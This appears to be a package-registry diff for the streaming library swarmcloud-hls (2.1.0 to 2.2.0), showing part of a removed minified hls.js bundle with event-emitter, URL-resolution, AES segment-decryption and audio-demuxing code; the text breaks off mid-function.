swarmcloud-hls 2.1.0 → 2.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/hls-proxy.js +1 -1
- package/dist/hls.light.min.js +1 -94
- package/dist/hls.min.js +1 -99
- package/dist/p2p-engine.min.d.ts +34 -3
- package/dist/p2p-engine.min.js +1 -16
- package/package.json +2 -2
package/dist/hls.light.min.js
CHANGED
|
@@ -1,94 +1 @@
|
|
|
1
|
-
!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.Hls=t():e.Hls=t()}(self,(()=>(()=>{var __webpack_modules__={204:e=>{"use strict";var t,r="object"==typeof Reflect?Reflect:null,i=r&&"function"==typeof r.apply?r.apply:function(e,t,r){return Function.prototype.apply.call(e,t,r)};t=r&&"function"==typeof r.ownKeys?r.ownKeys:Object.getOwnPropertySymbols?function(e){return Object.getOwnPropertyNames(e).concat(Object.getOwnPropertySymbols(e))}:function(e){return Object.getOwnPropertyNames(e)};var n=Number.isNaN||function(e){return e!=e};function s(){s.init.call(this)}e.exports=s,e.exports.once=function(e,t){return new Promise((function(r,i){function n(r){e.removeListener(t,s),i(r)}function s(){"function"==typeof e.removeListener&&e.removeListener("error",n),r([].slice.call(arguments))}p(e,t,s,{once:!0}),"error"!==t&&function(e,t,r){"function"==typeof e.on&&p(e,"error",t,r)}(e,n,{once:!0})}))},s.EventEmitter=s,s.prototype._events=void 0,s.prototype._eventsCount=0,s.prototype._maxListeners=void 0;var a=10;function o(e){if("function"!=typeof e)throw new TypeError('The "listener" argument must be of type Function. Received type '+typeof e)}function l(e){return void 0===e._maxListeners?s.defaultMaxListeners:e._maxListeners}function d(e,t,r,i){var n,s,a,d;if(o(r),void 0===(s=e._events)?(s=e._events=Object.create(null),e._eventsCount=0):(void 0!==s.newListener&&(e.emit("newListener",t,r.listener?r.listener:r),s=e._events),a=s[t]),void 0===a)a=s[t]=r,++e._eventsCount;else if("function"==typeof a?a=s[t]=i?[r,a]:[a,r]:i?a.unshift(r):a.push(r),(n=l(e))>0&&a.length>n&&!a.warned){a.warned=!0;var h=new Error("Possible EventEmitter memory leak detected. "+a.length+" "+String(t)+" listeners added. Use emitter.setMaxListeners() to increase limit");h.name="MaxListenersExceededWarning",h.emitter=e,h.type=t,h.count=a.length,d=h,console&&console.warn&&console.warn(d)}return e}function h(){if(!this.fired)return this.target.removeListener(this.type,this.wrapFn),this.fired=!0,0===arguments.length?this.listener.call(this.target):this.listener.apply(this.target,arguments)}function u(e,t,r){var i={fired:!1,wrapFn:void 0,target:e,type:t,listener:r},n=h.bind(i);return n.listener=r,i.wrapFn=n,n}function c(e,t,r){var i=e._events;if(void 0===i)return[];var n=i[t];return void 0===n?[]:"function"==typeof n?r?[n.listener||n]:[n]:r?function(e){for(var t=new Array(e.length),r=0;r<t.length;++r)t[r]=e[r].listener||e[r];return t}(n):g(n,n.length)}function f(e){var t=this._events;if(void 0!==t){var r=t[e];if("function"==typeof r)return 1;if(void 0!==r)return r.length}return 0}function g(e,t){for(var r=new Array(t),i=0;i<t;++i)r[i]=e[i];return r}function p(e,t,r,i){if("function"==typeof e.on)i.once?e.once(t,r):e.on(t,r);else{if("function"!=typeof e.addEventListener)throw new TypeError('The "emitter" argument must be of type EventEmitter. Received type '+typeof e);e.addEventListener(t,(function n(s){i.once&&e.removeEventListener(t,n),r(s)}))}}Object.defineProperty(s,"defaultMaxListeners",{enumerable:!0,get:function(){return a},set:function(e){if("number"!=typeof e||e<0||n(e))throw new RangeError('The value of "defaultMaxListeners" is out of range. It must be a non-negative number. Received '+e+".");a=e}}),s.init=function(){void 0!==this._events&&this._events!==Object.getPrototypeOf(this)._events||(this._events=Object.create(null),this._eventsCount=0),this._maxListeners=this._maxListeners||void 0},s.prototype.setMaxListeners=function(e){if("number"!=typeof e||e<0||n(e))throw new RangeError('The value of "n" is out of range. It must be a non-negative number. Received '+e+".");return this._maxListeners=e,this},s.prototype.getMaxListeners=function(){return l(this)},s.prototype.emit=function(e){for(var t=[],r=1;r<arguments.length;r++)t.push(arguments[r]);var n="error"===e,s=this._events;if(void 0!==s)n=n&&void 0===s.error;else if(!n)return!1;if(n){var a;if(t.length>0&&(a=t[0]),a instanceof Error)throw a;var o=new Error("Unhandled error."+(a?" ("+a.message+")":""));throw o.context=a,o}var l=s[e];if(void 0===l)return!1;if("function"==typeof l)i(l,this,t);else{var d=l.length,h=g(l,d);for(r=0;r<d;++r)i(h[r],this,t)}return!0},s.prototype.addListener=function(e,t){return d(this,e,t,!1)},s.prototype.on=s.prototype.addListener,s.prototype.prependListener=function(e,t){return d(this,e,t,!0)},s.prototype.once=function(e,t){return o(t),this.on(e,u(this,e,t)),this},s.prototype.prependOnceListener=function(e,t){return o(t),this.prependListener(e,u(this,e,t)),this},s.prototype.removeListener=function(e,t){var r,i,n,s,a;if(o(t),void 0===(i=this._events))return this;if(void 0===(r=i[e]))return this;if(r===t||r.listener===t)0==--this._eventsCount?this._events=Object.create(null):(delete i[e],i.removeListener&&this.emit("removeListener",e,r.listener||t));else if("function"!=typeof r){for(n=-1,s=r.length-1;s>=0;s--)if(r[s]===t||r[s].listener===t){a=r[s].listener,n=s;break}if(n<0)return this;0===n?r.shift():function(e,t){for(;t+1<e.length;t++)e[t]=e[t+1];e.pop()}(r,n),1===r.length&&(i[e]=r[0]),void 0!==i.removeListener&&this.emit("removeListener",e,a||t)}return this},s.prototype.off=s.prototype.removeListener,s.prototype.removeAllListeners=function(e){var t,r,i;if(void 0===(r=this._events))return this;if(void 0===r.removeListener)return 0===arguments.length?(this._events=Object.create(null),this._eventsCount=0):void 0!==r[e]&&(0==--this._eventsCount?this._events=Object.create(null):delete r[e]),this;if(0===arguments.length){var n,s=Object.keys(r);for(i=0;i<s.length;++i)"removeListener"!==(n=s[i])&&this.removeAllListeners(n);return this.removeAllListeners("removeListener"),this._events=Object.create(null),this._eventsCount=0,this}if("function"==typeof(t=r[e]))this.removeListener(e,t);else if(void 0!==t)for(i=t.length-1;i>=0;i--)this.removeListener(e,t[i]);return this},s.prototype.listeners=function(e){return c(this,e,!0)},s.prototype.rawListeners=function(e){return c(this,e,!1)},s.listenerCount=function(e,t){return"function"==typeof e.listenerCount?e.listenerCount(t):f.call(e,t)},s.prototype.listenerCount=f,s.prototype.eventNames=function(){return this._eventsCount>0?t(this._events):[]}},101:function(e){var t;"undefined"!=typeof window&&(t=function(){return function(e){var t={};function r(i){if(t[i])return t[i].exports;var n=t[i]={i,l:!1,exports:{}};return e[i].call(n.exports,n,n.exports,r),n.l=!0,n.exports}return r.m=e,r.c=t,r.d=function(e,t,i){r.o(e,t)||Object.defineProperty(e,t,{enumerable:!0,get:i})},r.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var i=Object.create(null);if(r.r(i),Object.defineProperty(i,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var n in e)r.d(i,n,function(t){return e[t]}.bind(null,n));return i},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,"a",t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p="/dist/",r(r.s="./src/hls.ts")}({"./node_modules/eventemitter3/index.js":
|
|
2
|
-
/*!*********************************************!*\
|
|
3
|
-
!*** ./node_modules/eventemitter3/index.js ***!
|
|
4
|
-
\*********************************************/
|
|
5
|
-
/*! no static exports found */
|
|
6
|
-
/*! ModuleConcatenation bailout: Module is not an ECMAScript module */function(e,t,r){"use strict";var i=Object.prototype.hasOwnProperty,n="~";function s(){}function a(e,t,r){this.fn=e,this.context=t,this.once=r||!1}function o(e,t,r,i,s){if("function"!=typeof r)throw new TypeError("The listener must be a function");var o=new a(r,i||e,s),l=n?n+t:t;return e._events[l]?e._events[l].fn?e._events[l]=[e._events[l],o]:e._events[l].push(o):(e._events[l]=o,e._eventsCount++),e}function l(e,t){0==--e._eventsCount?e._events=new s:delete e._events[t]}function d(){this._events=new s,this._eventsCount=0}Object.create&&(s.prototype=Object.create(null),(new s).__proto__||(n=!1)),d.prototype.eventNames=function(){var e,t,r=[];if(0===this._eventsCount)return r;for(t in e=this._events)i.call(e,t)&&r.push(n?t.slice(1):t);return Object.getOwnPropertySymbols?r.concat(Object.getOwnPropertySymbols(e)):r},d.prototype.listeners=function(e){var t=n?n+e:e,r=this._events[t];if(!r)return[];if(r.fn)return[r.fn];for(var i=0,s=r.length,a=new Array(s);i<s;i++)a[i]=r[i].fn;return a},d.prototype.listenerCount=function(e){var t=n?n+e:e,r=this._events[t];return r?r.fn?1:r.length:0},d.prototype.emit=function(e,t,r,i,s,a){var o=n?n+e:e;if(!this._events[o])return!1;var l,d,h=this._events[o],u=arguments.length;if(h.fn){switch(h.once&&this.removeListener(e,h.fn,void 0,!0),u){case 1:return h.fn.call(h.context),!0;case 2:return h.fn.call(h.context,t),!0;case 3:return h.fn.call(h.context,t,r),!0;case 4:return h.fn.call(h.context,t,r,i),!0;case 5:return h.fn.call(h.context,t,r,i,s),!0;case 6:return h.fn.call(h.context,t,r,i,s,a),!0}for(d=1,l=new Array(u-1);d<u;d++)l[d-1]=arguments[d];h.fn.apply(h.context,l)}else{var c,f=h.length;for(d=0;d<f;d++)switch(h[d].once&&this.removeListener(e,h[d].fn,void 0,!0),u){case 1:h[d].fn.call(h[d].context);break;case 2:h[d].fn.call(h[d].context,t);break;case 3:h[d].fn.call(h[d].context,t,r);break;case 4:h[d].fn.call(h[d].context,t,r,i);break;default:if(!l)for(c=1,l=new Array(u-1);c<u;c++)l[c-1]=arguments[c];h[d].fn.apply(h[d].context,l)}}return!0},d.prototype.on=function(e,t,r){return o(this,e,t,r,!1)},d.prototype.once=function(e,t,r){return o(this,e,t,r,!0)},d.prototype.removeListener=function(e,t,r,i){var s=n?n+e:e;if(!this._events[s])return this;if(!t)return l(this,s),this;var a=this._events[s];if(a.fn)a.fn!==t||i&&!a.once||r&&a.context!==r||l(this,s);else{for(var o=0,d=[],h=a.length;o<h;o++)(a[o].fn!==t||i&&!a[o].once||r&&a[o].context!==r)&&d.push(a[o]);d.length?this._events[s]=1===d.length?d[0]:d:l(this,s)}return this},d.prototype.removeAllListeners=function(e){var t;return e?(t=n?n+e:e,this._events[t]&&l(this,t)):(this._events=new s,this._eventsCount=0),this},d.prototype.off=d.prototype.removeListener,d.prototype.addListener=d.prototype.on,d.prefixed=n,d.EventEmitter=d,e.exports=d},"./node_modules/url-toolkit/src/url-toolkit.js":
|
|
7
|
-
/*!*****************************************************!*\
|
|
8
|
-
!*** ./node_modules/url-toolkit/src/url-toolkit.js ***!
|
|
9
|
-
\*****************************************************/
|
|
10
|
-
/*! no static exports found */
|
|
11
|
-
/*! ModuleConcatenation bailout: Module is not an ECMAScript module */function(e,t,r){var i,n,s,a,o;i=/^((?:[a-zA-Z0-9+\-.]+:)?)(\/\/[^\/?#]*)?((?:[^\/?#]*\/)*[^;?#]*)?(;[^?#]*)?(\?[^#]*)?(#.*)?$/,n=/^([^\/?#]*)(.*)$/,s=/(?:\/|^)\.(?=\/)/g,a=/(?:\/|^)\.\.\/(?!\.\.\/)[^\/]*(?=\/)/g,o={buildAbsoluteURL:function(e,t,r){if(r=r||{},e=e.trim(),!(t=t.trim())){if(!r.alwaysNormalize)return e;var i=o.parseURL(e);if(!i)throw new Error("Error trying to parse base URL.");return i.path=o.normalizePath(i.path),o.buildURLFromParts(i)}var s=o.parseURL(t);if(!s)throw new Error("Error trying to parse relative URL.");if(s.scheme)return r.alwaysNormalize?(s.path=o.normalizePath(s.path),o.buildURLFromParts(s)):t;var a=o.parseURL(e);if(!a)throw new Error("Error trying to parse base URL.");if(!a.netLoc&&a.path&&"/"!==a.path[0]){var l=n.exec(a.path);a.netLoc=l[1],a.path=l[2]}a.netLoc&&!a.path&&(a.path="/");var d={scheme:a.scheme,netLoc:s.netLoc,path:null,params:s.params,query:s.query,fragment:s.fragment};if(!s.netLoc&&(d.netLoc=a.netLoc,"/"!==s.path[0]))if(s.path){var h=a.path,u=h.substring(0,h.lastIndexOf("/")+1)+s.path;d.path=o.normalizePath(u)}else d.path=a.path,s.params||(d.params=a.params,s.query||(d.query=a.query));return null===d.path&&(d.path=r.alwaysNormalize?o.normalizePath(s.path):s.path),o.buildURLFromParts(d)},parseURL:function(e){var t=i.exec(e);return t?{scheme:t[1]||"",netLoc:t[2]||"",path:t[3]||"",params:t[4]||"",query:t[5]||"",fragment:t[6]||""}:null},normalizePath:function(e){for(e=e.split("").reverse().join("").replace(s,"");e.length!==(e=e.replace(a,"")).length;);return e.split("").reverse().join("")},buildURLFromParts:function(e){return e.scheme+e.netLoc+e.path+e.params+e.query+e.fragment}},e.exports=o},"./node_modules/webworkify-webpack/index.js":
|
|
12
|
-
/*!**************************************************!*\
|
|
13
|
-
!*** ./node_modules/webworkify-webpack/index.js ***!
|
|
14
|
-
\**************************************************/
|
|
15
|
-
/*! no static exports found */
|
|
16
|
-
/*! ModuleConcatenation bailout: Module is not an ECMAScript module */function(e,t,r){function i(e){var t={};function r(i){if(t[i])return t[i].exports;var n=t[i]={i,l:!1,exports:{}};return e[i].call(n.exports,n,n.exports,r),n.l=!0,n.exports}r.m=e,r.c=t,r.i=function(e){return e},r.d=function(e,t,i){r.o(e,t)||Object.defineProperty(e,t,{configurable:!1,enumerable:!0,get:i})},r.r=function(e){Object.defineProperty(e,"__esModule",{value:!0})},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,"a",t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p="/",r.oe=function(e){throw console.error(e),e};var i=r(r.s=ENTRY_MODULE);return i.default||i}var n="[\\.|\\-|\\+|\\w|/|@]+",s="\\(\\s*(/\\*.*?\\*/)?\\s*.*?([\\.|\\-|\\+|\\w|/|@]+).*?\\)";function a(e){return(e+"").replace(/[.?*+^$[\]\\(){}|-]/g,"\\$&")}function o(e,t,i){var o={};o[i]=[];var l=t.toString(),d=l.match(/^function\s?\w*\(\w+,\s*\w+,\s*(\w+)\)/);if(!d)return o;for(var h,u=d[1],c=new RegExp("(\\\\n|\\W)"+a(u)+s,"g");h=c.exec(l);)"dll-reference"!==h[3]&&o[i].push(h[3]);for(c=new RegExp("\\("+a(u)+'\\("(dll-reference\\s('+n+'))"\\)\\)'+s,"g");h=c.exec(l);)e[h[2]]||(o[i].push(h[1]),e[h[2]]=r(h[1]).m),o[h[2]]=o[h[2]]||[],o[h[2]].push(h[4]);for(var f,g=Object.keys(o),p=0;p<g.length;p++)for(var m=0;m<o[g[p]].length;m++)f=o[g[p]][m],isNaN(1*f)||(o[g[p]][m]=1*o[g[p]][m]);return o}function l(e){return Object.keys(e).reduce((function(t,r){return t||e[r].length>0}),!1)}e.exports=function(e,t){t=t||{};var n={main:r.m},s=t.all?{main:Object.keys(n.main)}:function(e,t){for(var r={main:[t]},i={main:[]},n={main:{}};l(r);)for(var s=Object.keys(r),a=0;a<s.length;a++){var d=s[a],h=r[d].pop();if(n[d]=n[d]||{},!n[d][h]&&e[d][h]){n[d][h]=!0,i[d]=i[d]||[],i[d].push(h);for(var u=o(e,e[d][h],d),c=Object.keys(u),f=0;f<c.length;f++)r[c[f]]=r[c[f]]||[],r[c[f]]=r[c[f]].concat(u[c[f]])}}return i}(n,e),a="";Object.keys(s).filter((function(e){return"main"!==e})).forEach((function(e){for(var t=0;s[e][t];)t++;s[e].push(t),n[e][t]="(function(module, exports, __webpack_require__) { module.exports = __webpack_require__; })",a=a+"var "+e+" = ("+i.toString().replace("ENTRY_MODULE",JSON.stringify(t))+")({"+s[e].map((function(t){return JSON.stringify(t)+": "+n[e][t].toString()})).join(",")+"});\n"})),a=a+"new (("+i.toString().replace("ENTRY_MODULE",JSON.stringify(e))+")({"+s.main.map((function(e){return JSON.stringify(e)+": "+n.main[e].toString()})).join(",")+"}))(self);";var d=new window.Blob([a],{type:"text/javascript"});if(t.bare)return d;var h=(window.URL||window.webkitURL||window.mozURL||window.msURL).createObjectURL(d),u=new window.Worker(h);return u.objectURL=h,u}},"./src/demux/demuxer-inline.js":
|
|
17
|
-
/*!**************************************************!*\
|
|
18
|
-
!*** ./src/demux/demuxer-inline.js + 16 modules ***!
|
|
19
|
-
\**************************************************/
|
|
20
|
-
/*! exports provided: default */
|
|
21
|
-
/*! ModuleConcatenation bailout: Cannot concat with ./src/demux/id3.js because of ./src/hls.ts */
|
|
22
|
-
/*! ModuleConcatenation bailout: Cannot concat with ./src/demux/mp4demuxer.js because of ./src/hls.ts */
|
|
23
|
-
/*! ModuleConcatenation bailout: Cannot concat with ./src/errors.ts because of ./src/hls.ts */
|
|
24
|
-
/*! ModuleConcatenation bailout: Cannot concat with ./src/events.js because of ./src/hls.ts */
|
|
25
|
-
/*! ModuleConcatenation bailout: Cannot concat with ./src/polyfills/number.js because of ./src/hls.ts */
|
|
26
|
-
/*! ModuleConcatenation bailout: Cannot concat with ./src/utils/get-self-scope.js because of ./src/hls.ts */
|
|
27
|
-
/*! ModuleConcatenation bailout: Cannot concat with ./src/utils/logger.js because of ./src/hls.ts */function(e,t,r){"use strict";r.r(t);var i=r("./src/events.js"),n=r("./src/errors.ts"),s=function(){function e(e,t){this.subtle=e,this.aesIV=t}return e.prototype.decrypt=function(e,t){return this.subtle.decrypt({name:"AES-CBC",iv:this.aesIV},t,e)},e}(),a=function(){function e(e,t){this.subtle=e,this.key=t}return e.prototype.expandKey=function(){return this.subtle.importKey("raw",this.key,{name:"AES-CBC"},!1,["encrypt","decrypt"])},e}(),o=function(){function e(){this.rcon=[0,1,2,4,8,16,32,64,128,27,54],this.subMix=[new Uint32Array(256),new Uint32Array(256),new Uint32Array(256),new Uint32Array(256)],this.invSubMix=[new Uint32Array(256),new Uint32Array(256),new Uint32Array(256),new Uint32Array(256)],this.sBox=new Uint32Array(256),this.invSBox=new Uint32Array(256),this.key=new Uint32Array(0),this.initTable()}var t=e.prototype;return t.uint8ArrayToUint32Array_=function(e){for(var t=new DataView(e),r=new Uint32Array(4),i=0;i<4;i++)r[i]=t.getUint32(4*i);return r},t.initTable=function(){var e=this.sBox,t=this.invSBox,r=this.subMix,i=r[0],n=r[1],s=r[2],a=r[3],o=this.invSubMix,l=o[0],d=o[1],h=o[2],u=o[3],c=new Uint32Array(256),f=0,g=0,p=0;for(p=0;p<256;p++)c[p]=p<128?p<<1:p<<1^283;for(p=0;p<256;p++){var m=g^g<<1^g<<2^g<<3^g<<4;m=m>>>8^255&m^99,e[f]=m,t[m]=f;var v=c[f],_=c[v],y=c[_],E=257*c[m]^16843008*m;i[f]=E<<24|E>>>8,n[f]=E<<16|E>>>16,s[f]=E<<8|E>>>24,a[f]=E,E=16843009*y^65537*_^257*v^16843008*f,l[m]=E<<24|E>>>8,d[m]=E<<16|E>>>16,h[m]=E<<8|E>>>24,u[m]=E,f?(f=v^c[c[c[y^v]]],g^=c[c[g]]):f=g=1}},t.expandKey=function(e){for(var t=this.uint8ArrayToUint32Array_(e),r=!0,i=0;i<t.length&&r;)r=t[i]===this.key[i],i++;if(!r){this.key=t;var n=this.keySize=t.length;if(4!==n&&6!==n&&8!==n)throw new Error("Invalid aes key size="+n);var s,a,o,l,d=this.ksRows=4*(n+6+1),h=this.keySchedule=new Uint32Array(d),u=this.invKeySchedule=new Uint32Array(d),c=this.sBox,f=this.rcon,g=this.invSubMix,p=g[0],m=g[1],v=g[2],_=g[3];for(s=0;s<d;s++)s<n?o=h[s]=t[s]:(l=o,s%n==0?(l=c[(l=l<<8|l>>>24)>>>24]<<24|c[l>>>16&255]<<16|c[l>>>8&255]<<8|c[255&l],l^=f[s/n|0]<<24):n>6&&s%n==4&&(l=c[l>>>24]<<24|c[l>>>16&255]<<16|c[l>>>8&255]<<8|c[255&l]),h[s]=o=(h[s-n]^l)>>>0);for(a=0;a<d;a++)s=d-a,l=3&a?h[s]:h[s-4],u[a]=a<4||s<=4?l:p[c[l>>>24]]^m[c[l>>>16&255]]^v[c[l>>>8&255]]^_[c[255&l]],u[a]=u[a]>>>0}},t.networkToHostOrderSwap=function(e){return e<<24|(65280&e)<<8|(16711680&e)>>8|e>>>24},t.decrypt=function(e,t,r,i){for(var n,s,a,o,l,d,h,u,c,f,g,p,m,v,_,y,E,b=this.keySize+6,S=this.invKeySchedule,T=this.invSBox,w=this.invSubMix,A=w[0],P=w[1],L=w[2],R=w[3],I=this.uint8ArrayToUint32Array_(r),D=I[0],C=I[1],k=I[2],x=I[3],O=new Int32Array(e),M=new Int32Array(O.length),N=this.networkToHostOrderSwap;t<O.length;){for(c=N(O[t]),f=N(O[t+1]),g=N(O[t+2]),p=N(O[t+3]),l=c^S[0],d=p^S[1],h=g^S[2],u=f^S[3],m=4,v=1;v<b;v++)n=A[l>>>24]^P[d>>16&255]^L[h>>8&255]^R[255&u]^S[m],s=A[d>>>24]^P[h>>16&255]^L[u>>8&255]^R[255&l]^S[m+1],a=A[h>>>24]^P[u>>16&255]^L[l>>8&255]^R[255&d]^S[m+2],o=A[u>>>24]^P[l>>16&255]^L[d>>8&255]^R[255&h]^S[m+3],l=n,d=s,h=a,u=o,m+=4;n=T[l>>>24]<<24^T[d>>16&255]<<16^T[h>>8&255]<<8^T[255&u]^S[m],s=T[d>>>24]<<24^T[h>>16&255]<<16^T[u>>8&255]<<8^T[255&l]^S[m+1],a=T[h>>>24]<<24^T[u>>16&255]<<16^T[l>>8&255]<<8^T[255&d]^S[m+2],o=T[u>>>24]<<24^T[l>>16&255]<<16^T[d>>8&255]<<8^T[255&h]^S[m+3],m+=3,M[t]=N(n^D),M[t+1]=N(o^C),M[t+2]=N(a^k),M[t+3]=N(s^x),D=c,C=f,k=g,x=p,t+=4}return i?(_=M.buffer,y=_.byteLength,(E=y&&new DataView(_).getUint8(y-1))?_.slice(0,y-E):_):M.buffer},t.destroy=function(){this.key=void 0,this.keySize=void 0,this.ksRows=void 0,this.sBox=void 0,this.invSBox=void 0,this.subMix=void 0,this.invSubMix=void 0,this.keySchedule=void 0,this.invKeySchedule=void 0,this.rcon=void 0},e}(),l=r("./src/utils/logger.js"),d=r("./src/utils/get-self-scope.js"),h=Object(d.getSelfScope)(),u=function(){function e(e,t,r){var i=(void 0===r?{}:r).removePKCS7Padding,n=void 0===i||i;if(this.logEnabled=!0,this.observer=e,this.config=t,this.removePKCS7Padding=n,n)try{var s=h.crypto;s&&(this.subtle=s.subtle||s.webkitSubtle)}catch(e){}this.disableWebCrypto=!this.subtle}var t=e.prototype;return t.isSync=function(){return this.disableWebCrypto&&this.config.enableSoftwareAES},t.decrypt=function(e,t,r,i){var n=this;if(this.disableWebCrypto&&this.config.enableSoftwareAES){this.logEnabled&&(l.logger.log("JS AES decrypt"),this.logEnabled=!1);var d=this.decryptor;d||(this.decryptor=d=new o),d.expandKey(t),i(d.decrypt(e,0,r,this.removePKCS7Padding))}else{this.logEnabled&&(l.logger.log("WebCrypto AES decrypt"),this.logEnabled=!1);var h=this.subtle;this.key!==t&&(this.key=t,this.fastAesKey=new a(h,t)),this.fastAesKey.expandKey().then((function(a){new s(h,r).decrypt(e,a).catch((function(s){n.onWebCryptoError(s,e,t,r,i)})).then((function(e){i(e)}))})).catch((function(s){n.onWebCryptoError(s,e,t,r,i)}))}},t.onWebCryptoError=function(e,t,r,s,a){this.config.enableSoftwareAES?(l.logger.log("WebCrypto Error, disable WebCrypto API"),this.disableWebCrypto=!0,this.logEnabled=!0,this.decrypt(t,r,s,a)):(l.logger.error("decrypting error : "+e.message),this.observer.trigger(i.default.ERROR,{type:n.ErrorTypes.MEDIA_ERROR,details:n.ErrorDetails.FRAG_DECRYPT_ERROR,fatal:!0,reason:e.message}))},t.destroy=function(){var e=this.decryptor;e&&(e.destroy(),this.decryptor=void 0)},e}(),c=r("./src/polyfills/number.js");function f(e,t){return 255===e[t]&&240==(246&e[t+1])}function g(e,t){return 1&e[t+1]?7:9}function p(e,t){return(3&e[t+3])<<11|e[t+4]<<3|(224&e[t+5])>>>5}function m(e,t){return!!(t+1<e.length&&f(e,t))}function v(e,t){if(m(e,t)){var r=g(e,t);if(t+r>=e.length)return!1;var i=p(e,t);if(i<=r)return!1;var n=t+i;if(n===e.length||n+1<e.length&&f(e,n))return!0}return!1}function _(e,t,r,s,a){if(!e.samplerate){var o=function(e,t,r,s){var a,o,d,h,u,c=navigator.userAgent.toLowerCase(),f=s,g=[96e3,88200,64e3,48e3,44100,32e3,24e3,22050,16e3,12e3,11025,8e3,7350];if(a=1+((192&t[r+2])>>>6),!((o=(60&t[r+2])>>>2)>g.length-1))return h=(1&t[r+2])<<2,h|=(192&t[r+3])>>>6,l.logger.log("manifest codec:"+s+",ADTS data:type:"+a+",sampleingIndex:"+o+"["+g[o]+"Hz],channelConfig:"+h),/firefox/i.test(c)?o>=6?(a=5,u=new Array(4),d=o-3):(a=2,u=new Array(2),d=o):-1!==c.indexOf("android")?(a=2,u=new Array(2),d=o):(a=5,u=new Array(4),s&&(-1!==s.indexOf("mp4a.40.29")||-1!==s.indexOf("mp4a.40.5"))||!s&&o>=6?d=o-3:((s&&-1!==s.indexOf("mp4a.40.2")&&(o>=6&&1===h||/vivaldi/i.test(c))||!s&&1===h)&&(a=2,u=new Array(2)),d=o)),u[0]=a<<3,u[0]|=(14&o)>>1,u[1]|=(1&o)<<7,u[1]|=h<<3,5===a&&(u[1]|=(14&d)>>1,u[2]=(1&d)<<7,u[2]|=8,u[3]=0),{config:u,samplerate:g[o],channelCount:h,codec:"mp4a.40."+a,manifestCodec:f};e.trigger(i.default.ERROR,{type:n.ErrorTypes.MEDIA_ERROR,details:n.ErrorDetails.FRAG_PARSING_ERROR,fatal:!0,reason:"invalid ADTS sampling index:"+o})}(t,r,s,a);e.config=o.config,e.samplerate=o.samplerate,e.channelCount=o.channelCount,e.codec=o.codec,e.manifestCodec=o.manifestCodec,l.logger.log("parsed codec:"+e.codec+",rate:"+o.samplerate+",nb channel:"+o.channelCount)}}function y(e){return 9216e4/e}function E(e,t,r,i,n){var s=function(e,t,r,i,n){var s,a,o=e.length;if(s=g(e,t),a=p(e,t),(a-=s)>0&&t+s+a<=o)return{headerLength:s,frameLength:a,stamp:r+i*n}}(t,r,i,n,y(e.samplerate));if(s){var a=s.stamp,o=s.headerLength,l=s.frameLength,d={unit:t.subarray(r+o,r+o+l),pts:a,dts:a};return e.samples.push(d),{sample:d,length:l+o}}}var b=r("./src/demux/id3.js"),S=function(){function e(e,t,r){this.observer=e,this.config=r,this.remuxer=t}var t=e.prototype;return t.resetInitSegment=function(e,t,r,i){this._audioTrack={container:"audio/adts",type:"audio",id:0,sequenceNumber:0,isAAC:!0,samples:[],len:0,manifestCodec:t,duration:i,inputTimeScale:9e4}},t.resetTimeStamp=function(){},e.probe=function(e){if(!e)return!1;for(var t=(b.default.getID3Data(e,0)||[]).length,r=e.length;t<r;t++)if(v(e,t))return l.logger.log("ADTS sync word found !"),!0;return!1},t.append=function(e,t,r,i){for(var n=this._audioTrack,s=b.default.getID3Data(e,0)||[],a=b.default.getTimeStamp(s),o=Object(c.isFiniteNumber)(a)?90*a:9e4*t,d=0,h=o,u=e.length,f=s.length,g=[{pts:h,dts:h,data:s}];f<u-1;)if(m(e,f)&&f+5<u){_(n,this.observer,e,f,n.manifestCodec);var p=E(n,e,f,o,d);if(!p){l.logger.log("Unable to parse AAC frame");break}f+=p.length,h=p.sample.pts,d++}else b.default.isHeader(e,f)?(s=b.default.getID3Data(e,f),g.push({pts:h,dts:h,data:s}),f+=s.length):f++;this.remuxer.remux(n,{samples:[]},{samples:g,inputTimeScale:9e4},{samples:[]},t,r,i)},t.destroy=function(){},e}(),T=r("./src/demux/mp4demuxer.js"),w={BitratesMap:[32,64,96,128,160,192,224,256,288,320,352,384,416,448,32,48,56,64,80,96,112,128,160,192,224,256,320,384,32,40,48,56,64,80,96,112,128,160,192,224,256,320,32,48,56,64,80,96,112,128,144,160,176,192,224,256,8,16,24,32,40,48,56,64,80,96,112,128,144,160],SamplingRateMap:[44100,48e3,32e3,22050,24e3,16e3,11025,12e3,8e3],SamplesCoefficients:[[0,72,144,12],[0,0,0,0],[0,72,144,12],[0,144,144,12]],BytesInSlot:[0,1,1,4],appendFrame:function(e,t,r,i,n){if(!(r+24>t.length)){var s=this.parseHeader(t,r);if(s&&r+s.frameLength<=t.length){var a=i+n*(9e4*s.samplesPerFrame/s.sampleRate),o={unit:t.subarray(r,r+s.frameLength),pts:a,dts:a};return e.config=[],e.channelCount=s.channelCount,e.samplerate=s.sampleRate,e.samples.push(o),{sample:o,length:s.frameLength}}}},parseHeader:function(e,t){var r=e[t+1]>>3&3,i=e[t+1]>>1&3,n=e[t+2]>>4&15,s=e[t+2]>>2&3,a=e[t+2]>>1&1;if(1!==r&&0!==n&&15!==n&&3!==s){var o=3===r?3-i:3===i?3:4,l=1e3*w.BitratesMap[14*o+n-1],d=3===r?0:2===r?1:2,h=w.SamplingRateMap[3*d+s],u=e[t+3]>>6==3?1:2,c=w.SamplesCoefficients[r][i],f=w.BytesInSlot[i],g=8*c*f;return{sampleRate:h,channelCount:u,frameLength:parseInt(c*l/h+a,10)*f,samplesPerFrame:g}}},isHeaderPattern:function(e,t){return 